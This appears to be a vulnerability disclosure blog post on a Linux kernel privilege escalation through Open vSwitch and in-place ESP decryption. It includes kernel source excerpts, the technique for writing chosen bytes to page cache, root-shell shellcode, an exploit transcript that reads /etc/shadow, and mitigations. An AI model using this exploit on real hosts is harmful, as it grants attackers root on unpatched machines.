The skb that wasn't freed - the Fragnesia primitive via Open vSwitch
17 Sep 2026 - Posted by Norbert SzeteiTLDR: Exploit. This is a deterministic local privilege escalation affecting the default install of the latest Arch, Fedora, Debian, Amazon Linux and RHEL distributions, having unprivileged user namespaces enabled, openvswitch auto-loading, and a stock kernel carrying the Fragnesia fix. The issue has been public since 08/13/2026 on netdev, and the fix landed in mainline and shipped in stable on 09/04/2026.
Introduction
Earlier this year a small family of Linux kernel bugs appeared, starting with Copy Fail. Unlike standard memory corruption, their defining feature was that an unprivileged user could overwrite read-only memory mappings simply through legitimate operations, without any race condition or strict timing. That made privilege escalation to root relatively trivial. Copy Fail was followed a week later by Dirty Frag (also called Copy Fail 2), and then by variants such as Fragnesia and DirtyDecrypt.
Fragnesia showed that an unprivileged user could get the kernel to decrypt an ESP packet in place, on top of page-cache pages the user is only allowed to read. The result is a Dirty COW-class primitive, where attacker-chosen bytes end up in the page cache of a root-owned file. Fragnesia reached it through the TCP coalesce path, where skb_try_coalesce() drops the shared-frag marker. Dirty Frag had reached the page cache by two complementary routes. One was the ESP-in-UDP datagram splice path (CVE-2026-43284), the other rxkad_verify_packet_1() (CVE-2026-43500). DirtyDecrypt (also DirtyCBC) landed a structurally similar write in rxgk_decrypt_skb(), in the RxRPC subsystem.
The skb-side bugs all share one weak point, an in-place decrypt running over frags the kernel does not privately own. The Dirty Frag fixes turned that into an explicit rule that ownership is carried by a single flag, SKBFL_SHARED_FRAG, and every in-place-decrypt consumer is expected to check it via skb_has_shared_frag() and take a private copy if needed before writing. Fragnesia is what happens when that flag is lost on a live packet, and the decrypt writes straight over the shared page.
This post describes a new way to lose that flag. We found that Open vSwitch strips SKBFL_SHARED_FRAG from a packet it is still forwarding, which re-opens the exact primitive the Fragnesia fix was meant to close. We reported it to the kernel security team and coordinated the fix with the Open vSwitch maintainers. This is tracked as CVE-2026-90049, CVE-2026-89487 and CVE-2026-80977.
The write technique is the same one Fragnesia used, and we credit it to that work. We walk through it here for completeness. The new element is the trigger.
Open vSwitch architecture
Open vSwitch is the software switch that most virtualization and container stacks use to move packets between VMs, containers, and physical NICs. If you have ever run OpenStack Neutron, oVirt, a Kubernetes CNI like Antrea or OVN-Kubernetes, or plain libvirt with a bridge, there is a good chance OVS was doing the forwarding. It is split into two halves.
The userspace half is ovs-vswitchd, the control plane. It communicates with a controller via OpenFlow, holds the full flow tables, and decides what should happen to a packet it has never seen before. The kernel half is openvswitch.ko, the datapath. It holds no policy of its own, only a table of masked (“megaflow”) entries fronted by a mask cache, each entry pairing a match key with a list of actions to execute. Ports attached to the datapath are called vports, and they can be real netdevs, tunnel devices, or an internal port that looks like a normal interface to the local IP stack.
The two halves are wired together with generic netlink. openvswitch.ko registers six families in dp_genl_families[], four of which matter here. ovs_datapath creates and deletes datapaths, ovs_vport attaches interfaces to them, ovs_flow installs match/action entries, and ovs_packet carries packets between the datapath and the daemon. When a packet arrives and no cached flow matches, the datapath performs an upcall. It copies the packet plus its parsed metadata into an OVS_PACKET_CMD_MISS message and queues it to the portid that ovs-vswitchd registered. Nothing blocks, as ovs_dp_upcall() hands the message off and returns, and the daemon comes back asynchronously with OVS_PACKET_CMD_EXECUTE and a flow to install. This is the flow-miss path. A failed upcall there means the packet is dropped.
There is a second way into the same code. A flow’s action list can contain OVS_ACTION_ATTR_USERSPACE, which dispatches a copy of the packet to a userspace portid in the middle of the action pipeline (as an OVS_PACKET_CMD_ACTION message) and then keeps executing the remaining actions. This is how sFlow and IPFIX sampling work, and how a controller gets a copy of interesting traffic without taking the packet out of the pipeline. The important part is that the packet is only borrowed. The upcall must not mutate it, because the datapath is going to keep forwarding the very same skb through the actions that follow.
Two properties of OVS make it interesting as an unprivileged attack surface. First, the module is autoloadable on every distribution we looked at, and it loads on the first genl family resolution, so no CAP_SYS_MODULE is needed. Second, every mutating OVS genl operation is marked GENL_UNS_ADMIN_PERM rather than GENL_ADMIN_PERM, which means the owner of a user namespace is allowed to perform it inside that namespace. We do not need ovs-vsctl, the daemon, or root. A few hundred lines of raw netlink from inside unshare -Urn are enough to build a datapath, attach a port, and install a flow with any action list we choose.
Background: the marker and the fast path
SKBFL_SHARED_FRAG lives in the skb shared-info flags, and it is a member of the SKBFL_ALL_ZEROCOPY group:
// include/linux/skbuff.h
enum {
SKBFL_ZEROCOPY_ENABLE = BIT(0),
SKBFL_SHARED_FRAG = BIT(1),
SKBFL_PURE_ZEROCOPY = BIT(2),
SKBFL_DONT_ORPHAN = BIT(3),
SKBFL_MANAGED_FRAG_REFS = BIT(4),
};
#define SKBFL_ZEROCOPY_FRAG (SKBFL_ZEROCOPY_ENABLE | SKBFL_SHARED_FRAG)
#define SKBFL_ALL_ZEROCOPY (SKBFL_ZEROCOPY_FRAG | SKBFL_PURE_ZEROCOPY | \
SKBFL_DONT_ORPHAN | SKBFL_MANAGED_FRAG_REFS)
The Dirty Frag fix (f4c50a4034e6, “xfrm: esp: avoid in-place decrypt on shared skb frags”, Kuan-Ting Chen) taught esp_input() to check the marker before taking its no-copy fast path. The excerpt below is the IPv4 path, net/ipv6/esp6.c carries the equivalent gate.
// net/ipv4/esp4.c (esp_input, paraphrased)
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb))
/* linear: decrypt in place */ ;
else if (!skb_has_frag_list(skb) &&
!skb_has_shared_frag(skb)) // [1]
/* nonlinear but privately owned: decrypt in place */ ;
}
...
/* otherwise: skb_cow_data() -> decrypt over a private copy */
At [1], if SKBFL_SHARED_FRAG is set, the fast path is skipped and the frags are copied first.
Fragnesia was a case of the flag being dropped before it reached [1]. skb_try_coalesce() transferred paged frags from one skb to another without carrying the marker across. William Bowling’s fix (f84eca58, “net: skbuff: preserve shared-frag marker during coalescing”) propagates it in two lines, and lists f4c50a4034e6 in its Fixes: trailer.
Then Hyunwoo Kim swept up the rest. 48f6a535 (“net: skbuff: propagate shared-frag marker through frag-transfer helpers”) found the same omission in __pskb_copy_fclone(), skb_shift(), skb_gro_receive(), skb_gro_receive_list(), tcp_clone_payload(), and skb_segment(). The commit message is worth reading in full, because it spells out how little is needed to reach the primitive. A single nft dup to <local> rule lands an skb returned by pskb_copy() in esp_input() with the marker stripped, as does any other nf_dup_ipv4() or xt_TEE caller.
So the invariant is maintained in two ways: consumers check the flag, and every path that moves frags between skbs preserves it. The second was established by enumerating the helpers that transfer frag descriptors and making each one carry the marker across.
The enumeration does not, however, cover a path that moves no frags at all. Suppose code took a correctly marked skb, transferred nothing, and simply unset the bit where it sat, on a packet it was still forwarding. That skb takes the in-place branch at [1], and the decrypt writes its output over whatever the frag points at.
Such a path does not have to know anything about shared frags to break the invariant. skb_zcopy_clear() clears SKBFL_ALL_ZEROCOPY in one mask, which is correct for the four bits that describe zerocopy completion. But SKBFL_SHARED_FRAG is in that mask, and it describes page ownership instead.
Root cause analysis
Look at the error path of queue_userspace_packet(), the function behind every upcall, before our fix:
// net/openvswitch/datapath.c queue_userspace_packet()
err = skb_zerocopy(user_skb, skb, skb_len, hlen);
...
err = genlmsg_unicast(ovs_dp_get_net(dp), user_skb, upcall_info->portid);
out:
if (err)
skb_tx_error(skb); // [2]
consume_skb(user_skb);
consume_skb(nskb);
return err;
skb_tx_error() is meant to settle the zerocopy state of a packet that failed to transmit, and its kerneldoc is explicit that “skb must be freed afterwards.” It reaches skb_zcopy_clear(), which clears the whole zerocopy group:
/**
* skb_tx_error - report an sk_buff xmit error
* @skb: buffer that triggered an error
*
* Report xmit error if a device callback is tracking this skb.
* skb must be freed afterwards.
*/
void skb_tx_error(struct sk_buff *skb)
{
if (skb) {
skb_zcopy_downgrade_managed(skb);
skb_zcopy_clear(skb, true);
}
}
// include/linux/skbuff.h
static inline void skb_zcopy_clear(struct sk_buff *skb, bool zerocopy_success)
{
struct ubuf_info *uarg = skb_zcopy(skb);
if (uarg) {
if (!skb_zcopy_is_nouarg(skb))
uarg->ops->complete(skb, uarg, zerocopy_success);
// [3] SHARED_FRAG goes with it
skb_shinfo(skb)->flags &= ~SKBFL_ALL_ZEROCOPY;
}
}
[3] clears two independent facts in one statement. One is the ubuf lifecycle state, the other is SKBFL_SHARED_FRAG, which marks page ownership. The kerneldoc’s contract makes this safe for a caller that immediately frees the skb, and almost all skb_tx_error() callers do exactly that.
Open vSwitch is the exception. On the action-execution side, do_execute_actions() discards the return value of the upcall and keeps forwarding the same skb:
// net/openvswitch/actions.c do_execute_actions(), OVS_ACTION_ATTR_USERSPACE
output_userspace(dp, skb, key, a, attr,
len, OVS_CB(skb)->cutlen); // [4] result ignored
OVS_CB(skb)->cutlen = U32_MAX;
...
break; // skb lives on
So the sequence is this. A flow whose actions are [USERSPACE(...), OUTPUT(...)] runs the upcall at [4], the upcall fails, skb_tx_error() strips SKBFL_SHARED_FRAG at [2] and [3], and the packet proceeds to OUTPUT. It is now unmarked, with its foreign frags still attached. If that output leads to a local ESP delivery, esp_input() sees no marker and decrypts in place, before the tag is checked.
One constraint shapes what can reach this. [3] only fires when skb_zcopy() returns non-NULL, which requires SKBFL_ZEROCOPY_ENABLE. An skb carrying SKBFL_SHARED_FRAG alone is left untouched, so the splice producer used by Dirty Frag and Fragnesia cannot reach this path. MSG_ZEROCOPY can, because it sets SKBFL_ZEROCOPY_FRAG, which has both SKBFL_ZEROCOPY_ENABLE and SKBFL_SHARED_FRAG.
Reaching it as an unprivileged user
Three preconditions have to be met from an unprivileged context.
The first is CAP_NET_ADMIN in a namespace. As described above, all Open vSwitch generic-netlink operations are GENL_UNS_ADMIN_PERM, so unshare -Urn gives us a user and network namespace where we are root-in-userns with CAP_NET_ADMIN over our own netns. Unprivileged user namespaces are currently enabled by default on most distributions.
The second is the openvswitch module. This is easy to fulfill, as asking the kernel to resolve the ovs_datapath family autoloads it.
The third is a page-cache frag that keeps its marker. We build the packet with MSG_ZEROCOPY over a PROT_READ, MAP_SHARED mapping of a root-owned file. The pinned pages are the file’s page-cache folios, and the resulting skb carries them as a frag with flags 0xb:
SKBFL_ZEROCOPY_ENABLE | SKBFL_SHARED_FRAG | SKBFL_DONT_ORPHAN
SKBFL_DONT_ORPHAN is what keeps the frag foreign. When Open vSwitch copies the packet into the upcall message it calls skb_zerocopy(), which would ordinarily replace the shared pages with kernel-owned copies. But:
// include/linux/skbuff.h
static inline int skb_orphan_frags(struct sk_buff *skb, gfp_t gfp_mask)
{
if (likely(!skb_zcopy(skb))) return 0;
if (skb_shinfo(skb)->flags & SKBFL_DONT_ORPHAN) return 0; // [5] no copy
return skb_copy_ubufs(skb, gfp_mask);
}
MSG_ZEROCOPY sets SKBFL_DONT_ORPHAN, so at [5] the copy is skipped and the foreign page-cache frag survives the upcall intact, right up to the moment skb_tx_error() strips its marker.
Putting it together, the environment is:
- A separate netns for the sender, joined to the OVS datapath by a
vethpair. The datagram has to leaveveth0and arrive atveth1on the OVS side. If it loops back locally instead, the kernel copies the borrowed pages and the primitive dies. - A datapath with a flow that upcalls and then forwards:
in_port(1),ipv4 -> [USERSPACE(pid=<unbound>), OUTPUT(0)]. Nothing is listening on that portid, so the upcall fails every time, and the failure is what strips the marker at[2]beforeOUTPUTforwards the same packet onward. - An ESP-in-UDP receiver on the far side, so the forwarded packet is delivered to
esp_input(). This is anxfrmstate usingrfc4106(gcm(aes))with UDP encapsulation on port 4500.
The sender then does a single sendmsg(MSG_ZEROCOPY) whose iov is [ esp_header | file_page_frag | icv ].
Confirming the strip
Before building any exploitation on top, we confirmed the primitive with a
kprobe/kretprobe pair on skb_tx_error(), printing the same skb’s state on entry and
return:
[ENTRY ] skb=0xffff8aa101453400 len=1242 data_len=1200 nr_frags=1 flags=0xb comm=zc
[RETURN] skb=0xffff8aa101453400 len=1242 data_len=1200 nr_frags=1 flags=0x0
nr_frags and data_len are unchanged across the call, so the foreign page is still
attached, while flags goes from 0xb to 0x0. The marker and the rest of the zerocopy
group are gone, but the page-cache frag remains. That is precisely the state esp_input()
must never decrypt in place.
From a strip to a chosen write
With the marker gone, the in-place decrypt writes plaintext = ciphertext XOR
keystream over the folio. The ciphertext is the file’s own content, which we
can read, so the write is computable. With a random keystream it is still only
good for corruption. This is where the Fragnesia endgame comes in unchanged. We
control the keystream, because we are the one who installed the ESP security
association and therefore chose its key.
What the packet looks like
The SA is transport-mode ESP with UDP encapsulation, installed inside our own netns:
ip xfrm state add src 10.99.99.1 dst 10.99.99.2 proto esp spi 0x42434445 mode transport \
aead 'rfc4106(gcm(aes))' 0x000102030405060708090a0b0c0d0e0f11223344 128 \
encap espinudp 4500 4500 0.0.0.0
The 20-byte AEAD key is not just an AES key. RFC 4106 §8.1 specifies that the keying material for a 128-bit AES-GCM key is 20 octets, the first 16 being the AES key and the remaining four the salt used in the nonce. So here K = 000102...0f and salt = 11223344. The 128 is the ICV length in bits.
The datagram our sender builds is a valid ESP-in-UDP packet with a deliberately wrong tag:
UDP dport 4500
+---------------+---------------+----------------+--------------+------------+
| SPI (4) | Seq (4) | IV (8) | ciphertext | ICV (16) |
| 0x42434445 | per packet | chosen per pkt | file bytes | zeros |
+---------------+---------------+----------------+--------------+------------+
|<--------- owned buffers ---------------------->|<- FOREIGN -->|<- owned -->|
Only the ciphertext region points at the mapped file. The header and the ICV come from our own buffers. The ciphertext is the frag, a descriptor pointing straight at the file’s page-cache page with no copy in between. Within the file, it begins at the byte we intend to modify, so the first keystream byte lands on it.
Where the keystream comes from
GCM is AES in counter mode for confidentiality, plus GHASH over the ciphertext for authentication. Instead of encrypting the data, counter mode encrypts only a counter, and XORs the result against the data. Hence decryption is the same operation as encryption.
For RFC 4106 the 12-byte GCM nonce is salt || IV. At 96 bits, the counter block is that nonce followed by a 32-bit count, starting at 1 and incrementing per block:
counter 1 = salt (4) || IV (8) || be32(1) encrypted, masks GHASH into the tag
counter 2 = salt (4) || IV (8) || be32(2) keystream for payload bytes 0..15
counter 3 = salt (4) || IV (8) || be32(3) keystream for payload bytes 16..31
...
The first block is used for the tag, so the keystream covering the payload starts at count 2. The kernel runs that XOR pass over the destination scatterlist (built from the skb, with the frag included) before comparing the tag. Our ICV is all zeros, so the comparison always fails and the packet is dropped with -EBADMSG - after the bytes have been written into the page-cache folio.
Choosing one byte
Suppose we want byte value P at file offset X, where the file currently holds C. The frag begins at X, so X is payload byte 0 and gets XORed with the first byte of keystream at counter 2. We need an IV whose first keystream byte is C XOR P.
The IV is 8 bytes and nothing constrains it, so we hold most of it fixed and sweep a counter through the rest:
IV = cc cc cc cc 00 00 nn nn
^---------^ ^---^ ^---^
fixed zero n = 0..0xffff
For each n we compute the first keystream byte and record the first n that produces each value:
table = array of 256 entries, empty
for n = 0 .. 0xffff:
iv = 0xcccccccc || n # as above
byte = AES_K(salt || iv || be32(2))[0]
if table[byte] is empty:
table[byte] = n
if table is full:
stop
This is a random search over 256 values, so a few thousand AES blocks typically fill the table, and the 16-bit sweep gives far more candidates than we need. It runs in userspace before a single packet leaves.
Building the table once means every one of the payload bytes costs a single lookup rather than its own search:
n = table[current_byte XOR wanted_byte]
Only one byte per packet is chosen. The rest of the payload comes from the same keystream, so the IV that gives us the byte we want at offset 0 leaves the following bytes as garbage. We advance the frag one byte per packet, so each chosen byte lands on the previous packet’s first garbage byte and overwrites it, building the payload from left to right.
Walking a whole buffer
One byte per packet is fine, because the collateral is bounded and self-repairing:
- We cap each packet at 32 ciphertext bytes, two AES blocks, so it deposits one chosen byte followed by up to 31 bytes of keystream garbage. The next packet’s chosen byte lands on the first of those garbage bytes, so walking from left to right repairs as it goes.
- We
pread()the target byte again before every packet. The page cache already reflects the earlier writes, soCis always the current value and never a stale one. - If a byte already equals its target, we skip it and send no packet at all.
- Near the end we shrink the payload with
esp_len = min(32, len - i), so the final packet carries a single byte and nothing outside[off, off+len)is ever touched.
The net result is a byte-granular, arbitrary, chosen-content write into the page cache of a file the attacker cannot open for writing, at roughly one packet per differing byte, with no brute force and no race.
From a chosen write to a root shell
The page-cache write is transient. The folio is never marked dirty, so it is never written back, and dropping caches, memory pressure, or a reboot restores the on-disk content. That is not a limitation for a local privilege escalation exploit. It only means the target has to be executed while the corrupted page is still resident.
Our proof of concept aims the primitive at an existing setuid-root binary. Every distribution ships several of them (chsh, chfn, newgrp, chage, gpasswd, su, passwd, mount and friends), so there is nothing to plant. shell.sh defaults to /usr/bin/mount and takes any other path as an argument:
./shell.sh # hijack /usr/bin/mount
./shell.sh /usr/bin/chfn # or any other setuid-root binary
Replacing the ELF, not the entry point
An earlier version of the PoC patched a small stub over the target’s ELF entry point. That works, but it has to cope with whatever the target happens to be, which today means a dynamically linked PIE that runs the loader before it ever reaches _start. Overwriting the first 160 bytes of the file with a complete static ELF, as Copy Fail did, is both shorter and independent of the victim binary.
It uses one PT_LOAD segment, read plus execute, mapped at a fixed 0x400000, and no PT_INTERP, so the dynamic loader is not involved at all and there is nothing to relocate.
The payload:
00400078 31c0 xor eax, eax {0x0}
0040007a 31ff xor edi, edi {0x0}
0040007c b069 mov al, 0x69
0040007e 0f05 syscall ; setuid
00400080 488d3d0f000000 lea rdi, [rel data_400096] {"/bin/sh"}
00400087 31f6 xor esi, esi {0x0}
00400089 6a3b push 0x3b {var_8}
0040008b 58 pop rax {var_8} {0x3b}
0040008c 99 cdq {0x3b} {0x0} {0x3b}
0040008d 0f05 syscall ; execve
0040008f 31ff xor edi, edi {0x0}
00400091 6a3c push 0x3c {var_8}
00400093 58 pop rax {var_8} {0x3c}
00400094 0f05 syscall ; exit
execve of the setuid binary already gives us euid == 0, and the setuid(0) in front of it turns that into ruid = euid = suid = 0, so the shell has no reason to drop privileges.
The target file has to be at least 160 bytes, which every real binary is, and the write lands entirely within the first page. Which is the page execve reads the ELF header and program headers from.
From namespace to root
The write is performed inside the user namespace, but the root shell is taken outside it. The page cache is not namespaced, so the patched folio is visible to the real uid 1000 that then executes the setuid binary:
$ uname -a
Linux ip-172-31-20-27.ec2.internal 6.12.0-211.53.1.el10_2.x86_64 #1 SMP PREEMPT_DYNAMIC Sun Sep 6 21:34:46 EDT 2026 x86_64 GNU/Linux
$ id
uid=1001(tbnz) gid=1001(tbnz) groups=1001(tbnz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ ./shell.sh
DP_NEW tdp0 -> OK (0)
VPORT_NEW -> OK (0)
FLOW_NEW -> OK (0)
[encap] udp/4500 armed for ESP-in-UDP
[*] /usr/bin/mount patched in page cache - root shell (Ctrl-D to exit and restore):
# id
uid=0(root) gid=1001(tbnz) groups=1001(tbnz) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# head -1 /etc/shadow
root:*:20186:0:99999:7:::
# exit
exit
[+] evicted page cache for /usr/bin/mount -> on-disk content restored
The group id stays at the caller’s, since the stub only calls setuid(0). Only uid and
euid matter for reading /etc/shadow and for everything that follows.
On exit the script calls poc evict, which is posix_fadvise(POSIX_FADV_DONTNEED) over the whole file. That drops the never-dirtied pages, the next read pulls the original bytes off disk. The whole thing lives and dies in the page cache.
Impact
On a default install of current Arch, Fedora, Debian, Amazon Linux or RHEL, with unprivileged user namespaces enabled, openvswitch autoloading, and a stock kernel carrying the Fragnesia fix, this is a deterministic unprivileged local privilege escalation. Ubuntu’s default AppArmor unprivileged user namespaces makes the default install not exploitable.
Mitigation
Most desktops, laptops, and servers never run Open vSwitch. On those, block the module from autoloading. It has no reason to load, and stopping it closes the datapath entirely. The block matters even when the module is not currently loaded, because an unprivileged user in a namespace can pull it in on demand just by asking the kernel to resolve the ovs_datapath genl family.
# /etc/modprobe.d/no-openvswitch.conf
install openvswitch /bin/false
Use install openvswitch /bin/false rather than blacklist openvswitch. blacklist suppresses alias-driven autoload but still permits a by-name modprobe, while install blocks both. This only helps if the module is not already resident, so verify with lsmod | grep openvswitch. On a host that has to run OVS this is not an option, and a different fix is needed.
An alternative is to block the ESP layer itself. Without an in-place ESP decrypt there is no write primitive. On a host that does not terminate IPsec:
# /etc/modprobe.d/no-esp.conf
install esp4 /bin/false
install esp6 /bin/false
These autoload through MODULE_ALIAS_XFRM_TYPE(AF_INET, XFRM_PROTO_ESP), i.e., the aliases xfrm-type-2-50 and xfrm-type-10-50. Both may be compiled into the kernel rather than loadable modules on some distributions (check modinfo esp4), in which case this option does not apply.
A third option is to remove the capability source. Unprivileged user namespaces are what give the attacker CAP_NET_ADMIN inside their own netns:
sysctl -w user.max_user_namespaces=0 # mainline
sysctl -w kernel.unprivileged_userns_clone=0 # Debian and derivatives
sysctl -w kernel.apparmor_restrict_unprivileged_userns=1 # Ubuntu 24.04+, default on
This is the broadest of the three, and the most disruptive. It breaks Flatpak, Podman, browser sandboxes and anything else that builds a sandbox out of namespaces.
At the time of writing, the fix is in mainline and has started landing in stable. Distribution kernels rebuild from stable on their own schedules, so check your vendor’s advisory.
Conclusion
SKBFL_SHARED_FRAG is a single bit guarding a security boundary, that these pages must not be written over in place. It sits inside a flag group that unrelated lifecycle code clears as a unit, without meaning to touch page ownership at all. Fragnesia showed that consumers can be taught to respect the marker. This variant is a reminder that producers and forwarders have to preserve it too, and that the skb must be freed afterwards is a contract easy to violate two subsystems away from the code that wrote it.
After the initial series went to netdev, we discovered that Sashiko, the Linux Foundation’s agentic review system that reviews LKML submissions, had flagged that OVS_ACTION_ATTR_RECIRC reached the same strip through a path the patch did not cover. The fix moved down into skb_tx_error() itself, which must not touch skb_shinfo() state shared with clones. The issue took three patches to close.
We would like to thank the Open vSwitch and networking maintainers for the quick and constructive review, in particular Ilya Maximets, who turned a one-line fix into a set that also closes the sibling strip in skb_zerocopy().
This research was conducted at Doyensec, with AI assistance (Claude).
References
- PATCH net v4 0/3: net: don’t strip zerocopy frag markers from a forwarded skb - the fix series on netdev.
- Fragnesia (CVE-2026-46300) - W. Bowling’s ESP in-place-decrypt page-cache write, on the ESP-in-TCP coalesce path.
- f4c50a4034e6 - xfrm: esp: avoid in-place decrypt on shared skb frags, the consumer-side check this trigger bypasses.
- 36d5fe6a0007 - core, nfqueue, openvswitch: Orphan frags in skb_zerocopy and handle errors, which introduced the Open vSwitch
skb_tx_error()call. - RFC 4106 - The Use of Galois/Counter Mode (GCM) in IPsec ESP, source for the salt, nonce, and counter layout.
- Dirty COW (CVE-2016-5195) - the original page-cache-write LPE.
- Dirty Pipe (CVE-2022-0847) - the same class through
pipe_buffer.
